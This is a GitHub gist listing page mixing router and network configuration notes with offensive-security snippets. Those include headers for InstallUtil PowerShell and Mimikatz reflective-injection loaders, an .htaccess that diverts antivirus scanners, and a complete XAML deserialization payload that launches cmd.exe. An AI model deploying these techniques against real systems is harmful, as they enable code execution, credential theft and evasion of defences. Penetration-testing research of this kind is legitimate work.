Skip to content

Instantly share code, notes, and snippets.

@Meatballs1
Meatballs1 / pshell.cs
Last active September 11, 2018 15:00
Invoke Interactive PowerShell and Run Local Scripts Inside InstallUtil
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
@Meatballs1
Meatballs1 / gist:998d63ab12ce503bfc5dfb3e70ed56ac
Last active April 15, 2020 23:26
Nintendo DS WiFi Settings DD-WRT Error 51099
Wireless > Advanced Settings > Bluetooth Coexistence Mode - Set to Disabled
Use DNS server:
https://github.com/barronwaffles/dwc_network_server_emulator/wiki
@Meatballs1
Meatballs1 / Payload.cs
Created November 4, 2020 11:11
XAMLReader.Load(Stream) payload avoiding Root Element Is Missing exception
String cmd = "ping 127.0.0.1";
String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>";
@Meatballs1
Meatballs1 / README.md
Created April 1, 2021 00:48
Sky/NowTV DD-WRT WAN Authentication DHCP Option 61 MER (not PPPOE)

Setup > WAN Setup > WAN Connection Type: DHCP Authentication

DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768

IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation

@Meatballs1
Meatballs1 / PELoader.cs
Last active October 3, 2022 17:48
Reflective PE Injection Mimikatz - Via InstallUtil.exe
using System;
using System.IO;
using System.Text;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
@Meatballs1
Meatballs1 / .htaccess
Last active January 12, 2023 00:32 — forked from curi0usJack/.htaccess
Drop into your apache working directory to instantly redirect most AV crap elsewhere.
Define REDIR_TARGET example.com
RewriteEngine On
RewriteOptions Inherit
# Uncomment the below line for verbose logging, including seeing which rule matched.
#LogLevel alert rewrite:trace5
# BURN AV BURN
@Meatballs1
Meatballs1 / gist:3f6e7b6a02445dc010bb166cadf427c9
Created July 21, 2023 15:57
networkd-dispatcher wifi/ethernet switchover
##
#/etc/networkd-dispatcher/no-carrier.d/50-ifdown-hooks
##
#!/bin/bash
enable_disable_wifi ()
{
if [ "$IFACE" == "enp0s25" ]; then
echo "$(date) - $IFACE down wifi unblocked"
rfkill unblock wifi
@Meatballs1
Meatballs1 / InstallUtil-PowerShell.cs
Last active October 13, 2023 14:47
InstallUtil.exe PowerShell
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;